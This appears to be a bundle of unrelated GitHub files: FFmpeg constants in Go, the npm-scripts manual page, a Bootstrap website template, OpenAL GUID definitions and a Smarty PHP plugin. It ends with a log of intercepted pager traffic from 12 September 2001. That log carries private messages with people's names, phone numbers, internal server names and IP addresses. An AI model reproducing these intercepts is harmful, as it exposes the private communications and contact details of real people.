int(C.AV_CODEC_FLAG_BITEXACT) AV_CODEC_FLAG_AC_PRED = int(C.AV_CODEC_FLAG_AC_PRED) AV_CODEC_FLAG_INTERLACED_ME = int(C.AV_CODEC_FLAG_INTERLACED_ME) AV_CODEC_FLAG_CLOSED_GOP = int(C.AV_CODEC_FLAG_CLOSED_GOP) AV_CODEC_FLAG2_FAST = int(C.AV_CODEC_FLAG2_FAST) AV_CODEC_FLAG2_NO_OUTPUT = int(C.AV_CODEC_FLAG2_NO_OUTPUT) AV_CODEC_FLAG2_LOCAL_HEADER = int(C.AV_CODEC_FLAG2_LOCAL_HEADER) AV_CODEC_FLAG2_DROP_FRAME_TIMECODE = int(C.AV_CODEC_FLAG2_DROP_FRAME_TIMECODE) AV_CODEC_FLAG2_CHUNKS = int(C.AV_CODEC_FLAG2_CHUNKS) AV_CODEC_FLAG2_IGNORE_CROP = int(C.AV_CODEC_FLAG2_IGNORE_CROP) AV_CODEC_FLAG2_SHOW_ALL = int(C.AV_CODEC_FLAG2_SHOW_ALL) AV_CODEC_FLAG2_EXPORT_MVS = int(C.AV_CODEC_FLAG2_EXPORT_MVS) AV_CODEC_FLAG2_SKIP_MANUAL = int(C.AV_CODEC_FLAG2_SKIP_MANUAL) AV_CODEC_FLAG2_RO_FLUSH_NOOP = int(C.AV_CODEC_FLAG2_RO_FLUSH_NOOP) )
{ "pile_set_name": "Github" }
.TH "NPM\-SCRIPTS" "7" "August 2015" "" "" .SH "NAME" \fBnpm-scripts\fR \- How npm handles the "scripts" field .SH DESCRIPTION .P npm supports the "scripts" property of the package\.json script, for the following scripts: .RS 0 .IP \(bu 2 prepublish: Run BEFORE the package is published\. (Also run on local \fBnpm install\fP without any arguments\.) .IP \(bu 2 publish, postpublish: Run AFTER the package is published\. .IP \(bu 2 preinstall: Run BEFORE the package is installed .IP \(bu 2 install, postinstall: Run AFTER the package is installed\. .IP \(bu 2 preuninstall, uninstall: Run BEFORE the package is uninstalled\. .IP \(bu 2 postuninstall: Run AFTER the package is uninstalled\. .IP \(bu 2 preversion, version: Run BEFORE bump the package version\. .IP \(bu 2 postversion: Run AFTER bump the package version\. .IP \(bu 2 pretest, test, posttest: Run by the \fBnpm test\fP command\. .IP \(bu 2 prestop, stop, poststop: Run by the \fBnpm stop\fP command\. .IP \(bu 2 prestart, start, poststart: Run by the \fBnpm start\fP command\. .IP \(bu 2 prerestart, restart, postrestart: Run by the \fBnpm restart\fP command\. Note: \fBnpm restart\fP will run the stop and start scripts if no \fBrestart\fP script is provided\. .RE .P Additionally, arbitrary scripts can be executed by running \fBnpm run\-script <pkg> <stage>\fP\|\. \fIPre\fR and \fIpost\fR commands with matching names will be run for those as well (e\.g\. \fBpremyscript\fP, \fBmyscript\fP, \fBpostmyscript\fP)\. .SH COMMON USES .P If you need to perform operations on your package before it is used, in a way that is not dependent on the operating system or architecture of the target system, use a \fBprepublish\fP script\. This includes tasks such as: .RS 0 .IP \(bu 2 Compiling CoffeeScript source code into JavaScript\. .IP \(bu 2 Creating minified versions of JavaScript source code\. .IP \(bu 2 Fetching remote resources that your package will use\. .RE .P The advantage of doing these things at \fBprepublish\fP time is that they can be done once, in a single place, thus reducing complexity and variability\. Additionally, this means that: .RS 0 .IP \(bu 2 You can depend on \fBcoffee\-script\fP as a \fBdevDependency\fP, and thus your users don't need to have it installed\. .IP \(bu 2 You don't need to include minifiers in your package, reducing the size for your users\. .IP \(bu 2 You don't need to rely on your users having \fBcurl\fP or \fBwget\fP or other system tools on the target machines\. .RE .SH DEFAULT VALUES .P npm will default some script values based on package contents\. .RS 0 .IP \(bu 2 \fB"start": "node server\.js"\fP: If there is a \fBserver\.js\fP file in the root of your package, then npm will default the \fBstart\fP command to \fBnode server\.js\fP\|\. .IP \(bu 2 \fB"preinstall": "node\-waf clean || true; node\-waf configure build"\fP: If there is a \fBwscript\fP file in the root of your package, npm will default the \fBpreinstall\fP command to compile using node\-waf\. .RE .SH USER .P If npm was invoked with root privileges, then it will change the uid to the user account or uid specified by the \fBuser\fP config, which defaults to \fBnobody\fP\|\. Set the \fBunsafe\-perm\fP flag to run scripts with root privileges\. .SH ENVIRONMENT .P Package scripts run in an environment where many pieces of information are made available regarding the setup of npm and the current state of the process\. .SS path .P If you depend on modules that define executable scripts, like test suites, then those executables will be added to the \fBPATH\fP for executing the scripts\. So, if your package\.json has this: .P .RS 2 .nf { "name" : "foo" , "dependencies" : { "bar" : "0\.1\.x" } , "scripts": { "start" : "bar \./test" } } .fi .RE .P then you could run \fBnpm start\fP to execute the \fBbar\fP script, which is exported into the \fBnode_modules/\.bin\fP directory on \fBnpm install\fP\|\. .SS package\.json vars .P The package\.json fields are tacked onto the \fBnpm_package_\fP prefix\. So, for instance, if you had \fB{"name":"foo", "version":"1\.2\.5"}\fP in your package\.json file, then your package scripts would have the \fBnpm_package_name\fP environment variable set to "foo", and the \fBnpm_package_version\fP set to "1\.2\.5" .SS configuration .P Configuration parameters are put in the environment with the \fBnpm_config_\fP prefix\. For instance, you can view the effective \fBroot\fP config by checking the \fBnpm_config_root\fP environment variable\. .SS Special: package\.json "config" object .P The package\.json "config" keys are overwritten in the environment if there is a config param of \fB<name>[@<version>]:<key>\fP\|\. For example, if the package\.json has this: .P .RS 2 .nf { "name" : "foo" , "config" : { "port" : "8080" } , "scripts" : { "start" : "node server\.js" } } .fi .RE .P and the server\.js is this: .P .RS 2 .nf http\.createServer(\.\.\.)\.listen(process\.env\.npm_package_config_port) .fi .RE .P then the user could change the behavior by doing: .P .RS 2 .nf npm config set foo:port 80 .fi .RE .SS current lifecycle event .P Lastly, the \fBnpm_lifecycle_event\fP environment variable is set to whichever stage of the cycle is being executed\. So, you could have a single script used for different parts of the process which switches based on what's currently happening\. .P Objects are flattened following this format, so if you had \fB{"scripts":{"install":"foo\.js"}}\fP in your package\.json, then you'd see this in the script: .P .RS 2 .nf process\.env\.npm_package_scripts_install === "foo\.js" .fi .RE .SH EXAMPLES .P For example, if your package\.json contains this: .P .RS 2 .nf { "scripts" : { "install" : "scripts/install\.js" , "postinstall" : "scripts/install\.js" , "uninstall" : "scripts/uninstall\.js" } } .fi .RE .P then the \fBscripts/install\.js\fP will be called for the install, post\-install, stages of the lifecycle, and the \fBscripts/uninstall\.js\fP would be called when the package is uninstalled\. Since \fBscripts/install\.js\fP is running for three different phases, it would be wise in this case to look at the \fBnpm_lifecycle_event\fP environment variable\. .P If you want to run a make command, you can do so\. This works just fine: .P .RS 2 .nf { "scripts" : { "preinstall" : "\./configure" , "install" : "make && make install" , "test" : "make test" } } .fi .RE .SH EXITING .P Scripts are run by passing the line as a script argument to \fBsh\fP\|\. .P If the script exits with a code other than 0, then this will abort the process\. .P Note that these script files don't have to be nodejs or even javascript programs\. They just have to be some kind of executable file\. .SH HOOK SCRIPTS .P If you want to run a specific script at a specific lifecycle event for ALL packages, then you can use a hook script\. .P Place an executable file at \fBnode_modules/\.hooks/{eventname}\fP, and it'll get run for all packages when they are going through that point in the package lifecycle for any packages installed in that root\. .P Hook scripts are run exactly the same way as package\.json scripts\. That is, they are in a separate child process, with the env described above\. .SH BEST PRACTICES .RS 0 .IP \(bu 2 Don't exit with a non\-zero error code unless you \fIreally\fR mean it\. Except for uninstall scripts, this will cause the npm action to fail, and potentially be rolled back\. If the failure is minor or only will prevent some optional features, then it's better to just print a warning and exit successfully\. .IP \(bu 2 Try not to use scripts to do what npm can do for you\. Read through npm help 5 \fBpackage\.json\fP to see all the things that you can specify and enable by simply describing your package appropriately\. In general, this will lead to a more robust and consistent state\. .IP \(bu 2 Inspect the env to determine where to put things\. For instance, if the \fBnpm_config_binroot\fP environ is set to \fB/home/user/bin\fP, then don't try to install executables into \fB/usr/local/bin\fP\|\. The user probably set it up that way for a reason\. .IP \(bu 2 Don't prefix your script commands with "sudo"\. If root permissions are required for some reason, then it'll fail with that error, and the user will sudo the npm command in question\. .IP \(bu 2 Don't use \fBinstall\fP\|\. Use a \fB\|\.gyp\fP file for compilation, and \fBprepublish\fP for anything else\. You should almost never have to explicitly set a preinstall or install script\. If you are doing this, please consider if there is another option\. The only valid use of \fBinstall\fP or \fBpreinstall\fP scripts is for compilation which must be done on the target architecture\. .RE .SH SEE ALSO .RS 0 .IP \(bu 2 npm help run\-script .IP \(bu 2 npm help 5 package\.json .IP \(bu 2 npm help 7 developers .IP \(bu 2 npm help install .RE
{ "pile_set_name": "Github" }
<!-- Author: WebThemez Author URL: http://webthemez.com License: Creative Commons Attribution 3.0 Unported License URL: http://creativecommons.org/licenses/by/3.0/ --> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content="Interior-Design-Responsive-Website-Templates-Edge"> <meta name="author" content="webThemez.com"> <title>Rider Free Mulit Purpose Bootstrap Template | Webthemez</title> <link rel="favicon" href="assets/images/favicon.png"> <link rel="stylesheet" media="screen" href="http://fonts.googleapis.com/css?family=Open+Sans:300,400,700"> <link rel="stylesheet" href="assets/css/bootstrap.min.css"> <link rel="stylesheet" href="assets/css/font-awesome.min.css"> <link rel="stylesheet" href="assets/css/bootstrap-theme.css" media="screen"> <link rel="stylesheet" href="assets/css/style.css"> <link rel='stylesheet' id='camera-css' href='assets/css/camera.css' type='text/css' media='all'> <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries --> <!--[if lt IE 9]> <script src="assets/js/html5shiv.js"></script> <script src="assets/js/respond.min.js"></script> <![endif]--> </head> <body> <!-- Fixed navbar --> <div id="header-top"> <!-- HEADER TOP --> <div class="container"> <div class="row"> <div class="col-md-6"> <div class="text"> <p>Toll Free : (002) 124 2548</p> </div> </div><!-- end --> <div class="col-md-6"> <div class="social text-center pull-right"> <a href="#"><i class="fa fa-twitter"></i></a> <a href="#"><i class="fa fa-facebook"></i></a> <a href="#"><i class="fa fa-dribbble"></i></a> <a href="#"><i class="fa fa-flickr"></i></a> <a href="#"><i class="fa fa-github"></i></a> </div> </div><!-- end --> </div><!-- end .row --> </div> </div> <div class="navbar navbar-inverse"> <div class="container"> <div class="navbar-header"> <button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse"><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button> <a class="navbar-brand" href="index.html"> <img src="assets/images/logo.png" alt="Techro HTML5 template"></a> </div> <div class="navbar-collapse collapse"> <ul class="nav navbar-nav pull-right mainNav"> <li class="active"><a href="index.html">Home</a></li> <li><a href="about.html">About</a></li> <li><a href="services.html">Services</a></li> <li><a href="price.html">Price</a></li> <li><a href="projects.html">Projects</a></li> <li class="dropdown"> <a href="#" class="dropdown-toggle" data-toggle="dropdown">Pages <b class="caret"></b></a> <ul class="dropdown-menu"> <li><a href="sidebar-right.html">Right Sidebar</a></li> <li><a href="#">Dummy Link1</a></li> <li><a href="#">Dummy Link2</a></li> <li><a href="#">Dummy Link3</a></li> </ul> </li> <li><a href="contact.html">Contact</a></li> </ul> </div> <!--/.nav-collapse --> </div> </div> <!-- /.navbar --> <!-- Header --> <header id="head"> <div class="container"> <div class="fluid_container"> <div class="camera_wrap camera_emboss pattern_1" id="camera_wrap_4"> <div data-thumb="assets/images/slides/thumbs/img1.jpg" data-src="assets/images/slides/img1.jpg"> </div> <div data-thumb="assets/images/slides/thumbs/img2.jpg" data-src="assets/images/slides/img2.jpg"> </div> <div data-thumb="assets/images/slides/thumbs/img3.jpg" data-src="assets/images/slides/img3.jpg"> </div> </div><!-- #camera_wrap_3 --> </div><!-- .fluid_container --> </div> </header> <!-- /Header --> <div class="head-box" style="margin-top:-20px;"> <div class="container"> <div class="row"> <div class="col-sm-12"> <h2 class="text-center text-uppercase last">Lorem ipsum dolor sit amet consectetur </h2> <p class="text-center last">Lorem ipsum dolor sit amet in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.</p> </div><!-- end .col-sm-12 --> </div><!-- ene .row --> </div> </div> <section class="container"> <div class="row"> <div class="section-heading"> <h2>Our Services</h2> <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt.</p> </div> <div class="col-md-4"> <div class="featured-box"> <i class="fa fa-cogs fa-2x"></i> <div class="text"> <h3>Responsive Design</h3> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. </div> </div> </div> <div class="col-md-4"> <div class="featured-box"> <i class="fa fa-leaf fa-2x"></i> <div class="text"> <h3>HTML5/CSS3</h3> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. </div> </div> </div> <div class="col-md-4"> <div class="featured-box"> <i class="fa fa-tachometer fa-2x"></i> <div class="text"> <h3>Web Designing</h3> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. </div> </div> </div> </div> <div class="row"> <div class="col-md-4"> <div class="featured-box"> <i class="fa fa-eye fa-2x"></i> <div class="text"> <h3>Web App Dev</h3> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. </div> </div> </div> <div class="col-md-4"> <div class="featured-box"> <i class="fa fa-quote-right fa-2x"></i> <div class="text"> <h3>Data Base</h3> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. </div> </div> </div> <div class="col-md-4"> <div class="featured-box"> <i class="fa fa-arrows fa-2x"></i> <div class="text"> <h3>Mobile App Dev</h3> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. </div> </div> </div> </div> </section> <section> <div class="box-2"> <div class="container"> <div class="row"> <div class="col-md-12"> <div class="section-heading"> <h2>We make IT better</h2> <p> Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore <br class="hidden-tablet hidden-phone"> et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris. </p> <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit.</p> </div> <a href="#" class="btn btn-large" style="background-color:#fff;"><i class="ifc-right"></i> Learn More </a> <br><br> <img src="assets/images/940x250.png" alt=""> </div><!-- end .span12 --> </div><!-- end .row --> </div> </div> </section> <section class="news-box"> <div class="container"> <div class="row"> <div class="section-heading"> <h2>Recent Works</h2> <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt.</p> </div> <div class="col-lg-4 col-md-4 col-sm-12"> <div class="newsBox"> <div class="thumbnail"> <figure><img src="assets/images/news2.jpg" alt=""></figure> <div class="caption maxheight2"> <div class="box_inner"> <div class="box"> <p class="title"><strong>CONCEPT</strong></p> <p>Lorem ipsum dolor sit amet, conc tetu er adipi scing. Praesent ves tibuum molestie lacuiirhs. Aenean.</p> </div> <div> <a href="#" class="btn-inline">more</a> </div> </div> </div> </div> </div> </div> <div class="col-lg-4 col-md-4 col-sm-12"> <div class="newsBox"> <div class="thumbnail"> <figure><img src="assets/images/news3.jpg" alt=""></figure> <div class="caption maxheight2"> <div class="box_inner"> <div class="box"> <p class="title"><strong>DESIGN</strong></p> <p>Lorem ipsum dolor sit amet, conc tetu er adipi scing. Praesent ves tibuum molestie lacuiirhs. Aenean.</p> </div> <div> <a href="#" class="btn-inline">more</a> </div> </div> </div> </div> </div> </div> <div class="col-lg-4 col-md-4 col-sm-12"> <div class="newsBox"> <div class="thumbnail"> <figure><img src="assets/images/news4.jpg" alt=""></figure> <div class="caption maxheight2"> <div class="box_inner"> <div class="box"> <p class="title"><strong>INSTALLATION</strong></p> <p>Lorem ipsum dolor sit amet, conc tetu er adipi scing. Praesent ves tibuum molestie lacuiirhs. Aenean.</p> </div> <div> <a href="#" class="btn-inline">more</a> </div> </div> </div> </div> </div> </div> </div> </div> </section> <footer id="footer"> <div class="footer2"> <div class="container"> <div class="row"> <div class="col-md-6 panel"> <div class="panel-body"> <p class="simplenav"> <a href="index.html">Home</a> | <a href="about.html">About</a> | <a href="services.html">Services</a> | <a href="price.html">Price</a> | <a href="projects.html">Projects</a> | <a href="contact.html">Contact</a> </p> </div> </div> <div class="col-md-6 panel"> <div class="panel-body"> <p class="text-right"> Copyright &copy; 2015. Template by <a href="http://webthemez.com/" rel="develop">WebThemez.com</a> </p> </div> </div> </div> <!-- /row of panels --> </div> </div> </footer> <!-- JavaScript libs are placed at the end of the document so the pages load faster --> <script src="assets/js/modernizr-latest.js"></script> <script type='text/javascript' src='assets/js/jquery.min.js'></script> <script type='text/javascript' src='assets/js/fancybox/jquery.fancybox.pack.js'></script> <script type='text/javascript' src='assets/js/jquery.mobile.customized.min.js'></script> <script type='text/javascript' src='assets/js/jquery.easing.1.3.js'></script> <script type='text/javascript' src='assets/js/camera.min.js'></script> <script src="assets/js/bootstrap.min.js"></script> <script src="assets/js/custom.js"></script> <script> jQuery(function(){ jQuery('#camera_wrap_4').camera({ height: '600', loader: 'bar', pagination: false, thumbnails: false, hover: false, opacityOnGrid: false, imagePath: 'assets/images/' }); }); </script> </body> </html>
{ "pile_set_name": "Github" }
#include "config.h" #ifndef AL_NO_UID_DEFS #if defined(HAVE_GUIDDEF_H) || defined(HAVE_INITGUID_H) #define INITGUID #include <windows.h> #ifdef HAVE_GUIDDEF_H #include <guiddef.h> #else #include <initguid.h> #endif DEFINE_GUID(KSDATAFORMAT_SUBTYPE_PCM, 0x00000001, 0x0000, 0x0010, 0x80,0x00, 0x00,0xaa,0x00,0x38,0x9b,0x71); DEFINE_GUID(KSDATAFORMAT_SUBTYPE_IEEE_FLOAT, 0x00000003, 0x0000, 0x0010, 0x80,0x00, 0x00,0xaa,0x00,0x38,0x9b,0x71); DEFINE_GUID(IID_IDirectSoundNotify, 0xb0210783, 0x89cd, 0x11d0, 0xaf,0x08, 0x00,0xa0,0xc9,0x25,0xcd,0x16); DEFINE_GUID(CLSID_MMDeviceEnumerator, 0xbcde0395, 0xe52f, 0x467c, 0x8e,0x3d, 0xc4,0x57,0x92,0x91,0x69,0x2e); DEFINE_GUID(IID_IMMDeviceEnumerator, 0xa95664d2, 0x9614, 0x4f35, 0xa7,0x46, 0xde,0x8d,0xb6,0x36,0x17,0xe6); DEFINE_GUID(IID_IAudioClient, 0x1cb9ad4c, 0xdbfa, 0x4c32, 0xb1,0x78, 0xc2,0xf5,0x68,0xa7,0x03,0xb2); DEFINE_GUID(IID_IAudioRenderClient, 0xf294acfc, 0x3146, 0x4483, 0xa7,0xbf, 0xad,0xdc,0xa7,0xc2,0x60,0xe2); DEFINE_GUID(IID_IAudioCaptureClient, 0xc8adbd64, 0xe71e, 0x48a0, 0xa4,0xde, 0x18,0x5c,0x39,0x5c,0xd3,0x17); #ifdef HAVE_WASAPI #include <wtypes.h> #include <devpropdef.h> #include <propkeydef.h> DEFINE_DEVPROPKEY(DEVPKEY_Device_FriendlyName, 0xa45c254e, 0xdf1c, 0x4efd, 0x80,0x20, 0x67,0xd1,0x46,0xa8,0x50,0xe0, 14); DEFINE_PROPERTYKEY(PKEY_AudioEndpoint_FormFactor, 0x1da5d803, 0xd492, 0x4edd, 0x8c,0x23, 0xe0,0xc0,0xff,0xee,0x7f,0x0e, 0); DEFINE_PROPERTYKEY(PKEY_AudioEndpoint_GUID, 0x1da5d803, 0xd492, 0x4edd, 0x8c, 0x23,0xe0, 0xc0,0xff,0xee,0x7f,0x0e, 4 ); #endif #endif #endif /* AL_NO_UID_DEFS */
{ "pile_set_name": "Github" }
<?php /** * Smarty plugin * @package Smarty * @subpackage plugins */ /** * Handle insert tags * * @param array $args * @return string */ function smarty_core_run_insert_handler($params, &$smarty) { require_once(SMARTY_CORE_DIR . 'core.get_microtime.php'); if ($smarty->debugging) { $_params = array(); $_debug_start_time = smarty_core_get_microtime($_params, $smarty); } if ($smarty->caching) { $_arg_string = serialize($params['args']); $_name = $params['args']['name']; if (!isset($smarty->_cache_info['insert_tags'][$_name])) { $smarty->_cache_info['insert_tags'][$_name] = array('insert', $_name, $smarty->_plugins['insert'][$_name][1], $smarty->_plugins['insert'][$_name][2], !empty($params['args']['script']) ? true : false); } return $smarty->_smarty_md5."{insert_cache $_arg_string}".$smarty->_smarty_md5; } else { if (isset($params['args']['script'])) { $_params = array('resource_name' => $smarty->_dequote($params['args']['script'])); require_once(SMARTY_CORE_DIR . 'core.get_php_resource.php'); if(!smarty_core_get_php_resource($_params, $smarty)) { return false; } if ($_params['resource_type'] == 'file') { $smarty->_include($_params['php_resource'], true); } else { $smarty->_eval($_params['php_resource']); } unset($params['args']['script']); } $_funcname = $smarty->_plugins['insert'][$params['args']['name']][0]; $_content = $_funcname($params['args'], $smarty); if ($smarty->debugging) { $_params = array(); require_once(SMARTY_CORE_DIR . 'core.get_microtime.php'); $smarty->_smarty_debug_info[] = array('type' => 'insert', 'filename' => 'insert_'.$params['args']['name'], 'depth' => $smarty->_inclusion_depth, 'exec_time' => smarty_core_get_microtime($_params, $smarty) - $_debug_start_time); } if (!empty($params['args']["assign"])) { $smarty->assign($params['args']["assign"], $_content); } else { return $_content; } } } /* vim: set expandtab: */ ?>
{ "pile_set_name": "Github" }
2001-09-12 00:02:00 Arch [1377367] B ALPHA "Slay, Andre D, |Everyone should report to work at their regularly schedule time. In addition for security reason please have your AT&T ID badge at all time. Andre 2001-09-12 00:02:00 Arch [0976735] D ALPHA "Slay, Andre D, |Everyone should report to work at their regularly schedule t 2001-09-12 00:02:00 Arch [0908963] A ALPHA "Slay, Andre D, |Everyone should report to work at their regularly schedule time. In addition for security reason please have your AT&T ID badge at all time. Andre 2001-09-12 00:02:00 Arch [0562851] A ALPHA "Slay, Andre D, |Everyone should report to work at their regularly schedule time. In addition for security reason please have your AT&T ID badge at all time. Andre 2001-09-12 00:02:00 Arch [1380048] A ALPHA "Slay, Andre D, |Everyone should report to work at their regularly schedule time. In addition for security reason please have your AT&T ID badge at all time. Andre 2001-09-12 00:02:00 Metrocall [1423055] D ALPHA Frm: [email protected] Sub: Networking Seminar--Canceled Txt: The Networking Seminar at the Greater Fresno Area Chamber of Commerce on September 12, 2001 at 4:00 p.m. has been CANCELED due to today's tragedy. We ask you 2001-09-12 00:02:00 Metrocall [1789891] A ALPHA Frm: "" Sub: Txt: Manassas Park, VA Tue 81/55 Sunny Wed 79/57 Sunny 2001-09-12 00:02:00 Skytel [004214768] A SH/TONE 4942 (63 2001-09-12 00:02:00 Skytel [004728304] A ALPHA solution. 2001-09-12 00:02:01 Arch [0976735] D ALPHA ime. In addition for security reason please have your AT&T ID badge at all time. Andre 2001-09-12 00:02:01 Arch [0895403] C ALPHA THIS IS A TEST PERIODIC PAGE SEQUENTIAL NUMBER 7971 2001-09-12 00:02:01 Arch [0987275] C ALPHA s0191: 09/11 15:30:55 Reboot NT machine gblnetnt07 in cabinet 311R at 13/1CMP:CRITICAL:Sep 11 15:30:55 2001-09-12 00:02:01 Skytel [002844427] C ALPHA AP:VA:L1:V5MD0Z11 ABENDED WITH U0018 ON 1S02 - 23:59:Call 8005826218. 2001-09-12 00:02:01 Skytel [003417094] B SH/TONE 7070 2001-09-12 00:02:02 Metrocall [1423055] D ALPHA to join us in p 2001-09-12 00:02:03 Arch [0987275] C ALPHA s0191: 09/11 15:33:16 Reboot NT machine gblnetnt05 in cabinet 311R at 13/1CMP:CRITICAL:Sep 11 15:33:17 2001-09-12 00:02:03 Skytel [007567760] A SH/TONE 945-6518 2001-09-12 00:02:03 Skytel [003414162] A SH/TONE 599-8480 2001-09-12 00:02:03 Skytel [004750239] D SH/TONE 201 2001-09-12 00:02:05 Arch [0987275] C ALPHA s0043: Available swap space Decreases below 75.820300:FATAL:Sep 11, 2001 15:36 2001-09-12 00:02:05 Skytel [005326762] C ALPHA [email protected]||OmniBack has 10 failed backup sessions 2001-09-12 00:02:05 Skytel [005059753] C SH/TONE 23 2001-09-12 00:02:05 Skytel [002279468] D SH/TONE 5333 2001-09-12 00:02:06 Metrocall [1284395] C ALPHA T05 to 1681 PLZ CONT MECC AT 612 348 2345 ASK FOR T0 5 - THANKS 2001-09-12 00:02:06 Metrocall [0902655] D ALPHA Frm: [email protected] Sub: Today's Events Txt: The events of this morning have been deeply disturbing and we are concerned for 2001-09-12 00:02:06 Metrocall [0007690] C ALPHA THIS IS A TEST PERIODIC PAGE SEQUENTIAL NUMBER 4541 2001-09-12 00:02:06 Metrocall [1397854] D ALPHA Frm: [email protected] Sub: Today's Events Txt: The events of this morning have been deeply disturbing and we are concerned for the safety and we 2001-09-12 00:02:06 Skytel {0570177} 3 1200 0500 2001-09-12 00:02:07 Skytel {1092655} 3 2400 002599 2001-09-12 00:02:08 Metrocall [0902655] D ALPHA the safety and well being of all our associates and their family members. As a precaution, some of our 2001-09-12 00:02:08 Metrocall [1397854] D ALPHA ll being of all our associates and their family members. As a precaution, some of our 2001-09-12 00:02:08 Metrocall [1865024] A ALPHA Frm: [email protected] Sub: SILO Txt: SUBPOOL STANDARD, 86 SCRATCH VOLUMES REMAINING 09/12/01 00:02:01 2001-09-12 00:02:08 Metrocall [1786170] C ALPHA Frm: "" Sub: Txt: Mc Kinney, TX Tue 82/63 Sunny Wed 84/64 Sunny Dallas, TX Tue 82/64 Mst Sunny Wed 84/66 Sunny 2001-09-12 00:02:11 Arch [0909945] C ALPHA [email protected]|Wireless(DaveNorton) has recover|STATUS Last Status: Server Recovered Up Time: 150:19 min Down Time: 2:39 min Last test started on: Tue, 11 Sep 2001 22:02:40 TYPE AND ADDRESSING Monitor Name: Wireless(DaveNorton) Monitor Ty 2001-09-12 00:02:18 Arch [1056034] A ALPHA MSN <[email protected]|Hotmail FranklinCovey:Shop the new Fall Catalog 2001-09-12 00:02:18 Arch [1033054] D ALPHA [email protected]|people_magic_scdb_out reported e|dgps Error people_magic_scdb_out .DART|63|DGDB_X_conn_sql_exec_len||unable to execute SQL statement 2001-09-12 00:02:22 Arch [1425048] C ALPHA 300~MPfetchData:openConnectionToManager:ERROR CONNECTING:192.168.35.97 : www36 connectToServerPort:socket/socket timed out at /home/crdtdrv/creditderivatives/script/MPfetchData.pl line 342, <SOCK_192.168.35.19> chunk 190977. 2001-09-12 00:02:22 Arch [0931298] A ALPHA 516 241-0909 2001-09-12 00:02:22 Arch [0945480] C ALPHA 702 642-4894 2001-09-12 00:02:22 Arch [0969557] B ALPHA 444-3124 2001-09-12 00:02:22 Arch [0000101] B ALPHA MSN 017 hello Message from NOC PCB. 2001-09-12 00:02:22 Arch [1213207] B ALPHA THIS IS A TEST PERIODIC PAGE SEQUENTIAL NUMBER 0894 2001-09-12 00:02:22 Arch [0987275] C ALPHA s0191: 09/11 15:41:26 Reboot NT machine gblnetnt06 in cabinet 311R at 13/1CMP:CRITICAL:Sep 11 15:41:26 2001-09-12 00:02:24 Arch [0987275] C ALPHA s0191: 09/11 15:47:33 Reboot NT machine gblnetnt07 in cabinet 311R at 13/1CMP:CRITICAL:Sep 11 15:47:34 2001-09-12 00:02:26 Arch [0987275] C ALPHA s0191: 09/11 15:50:15 Reboot NT machine gblnetnt05 in cabinet 311R at 13/1CMP:CRITICAL:Sep 11 15:50:16 2001-09-12 00:02:30 Metrocall [1363779] A ALPHA AP:TX:L1:NTATRXCK ABENDED WITH U1000 ON 1H02 - 00:02:Call 18007980784:SENDID# 1304 : 2001-09-12 00:02:30 Metrocall [1079407] D ALPHA Frm: ABC 11 Eyewitness News Sub: Breaking News Txt: Good afternoon, jeff, Below is a summary of emergency information you may need related t 2001-09-12 00:02:30 Metrocall [0000329] C ALPHA THIS IS A TEST PERIODIC PAGE SEQUENTIAL NUMBER 3150 2001-09-12 00:02:31 Skytel [005070217] C SH/TONE 589-0575 2001-09-12 00:02:31 Skytel [007639556] B ST NUM 632-261-0968-911 2001-09-12 00:02:31 Skytel [005240334] D SH/TONE 7866 2001-09-12 00:02:31 Skytel [002363657] C SH/TONE 7869 2001-09-12 00:02:31 Skytel [004449421] D SH/TONE 218 2001-09-12 00:02:32 Metrocall [0476499] A ALPHA THIS IS A TEST PERIODIC PAGE SEQUENTIAL NUMBER 3150 2001-09-12 00:02:32 Metrocall [1079407] D ALPHA o today's terrorist attack. Airports: The FAA has suspended air traffic nationwide until further not 2001-09-12 00:02:32 Metrocall [0044658] A ALPHA Frm: [email protected] Sub: NEWS ALERT Txt: One of the 2001-09-12 00:02:32 Skytel [007066255] D SH/TONE 608-0835 2001-09-12 00:02:33 Skytel [002861584] A ST NUM 8685429388 2001-09-12 00:02:33 Skytel [002793367] B SH/TONE 522-8824 2001-09-12 00:02:33 Skytel [007465749] B ST NUM 811-3557-5 2001-09-12 00:02:33 Skytel [004534043] C SH/TONE 1 2001-09-12 00:02:33 Skytel [004534296] C ST NUM 09040177317017764143 2001-09-12 00:02:33 Skytel [004417306] C ST NUM 8889908089 2001-09-12 00:02:33 Skytel [007501977] C SH/TONE 69411 2001-09-12 00:02:33 Skytel [003483166] D SH/TONE 96951522 2001-09-12 00:02:34 Metrocall [0044658] A ALPHA planes that crashed into the World Trade Center was an American Airlines flight bound for LA. American says Fl= ight 11 was hijacked af 2001-09-12 00:02:35 Skytel [007521317] B ALPHA Y! ||$499 deals on iPAQ Pocket PC Plane Attacks Plunge Markets Into Turmoil Reuters 2001-09-12 00:02:35 Skytel [003204769] A SH/TONE 1 2001-09-12 00:02:35 Skytel [005001895] B ALPHA [sps/121] 200 sps-apps1.cps.intel.com relay 0.618 BDE RegulusServices are running.<BR> (/metrios/healthcheck[RegulusInvoice].asp)2:39:55 2001-09-12 00:02:35 Skytel [002376872] C ALPHA [email protected]|uplister1.www.conxion.com, HTTP, 206.204.30.159:80, Server Recovered| 2001-09-12 00:02:35 Skytel [003904813] D 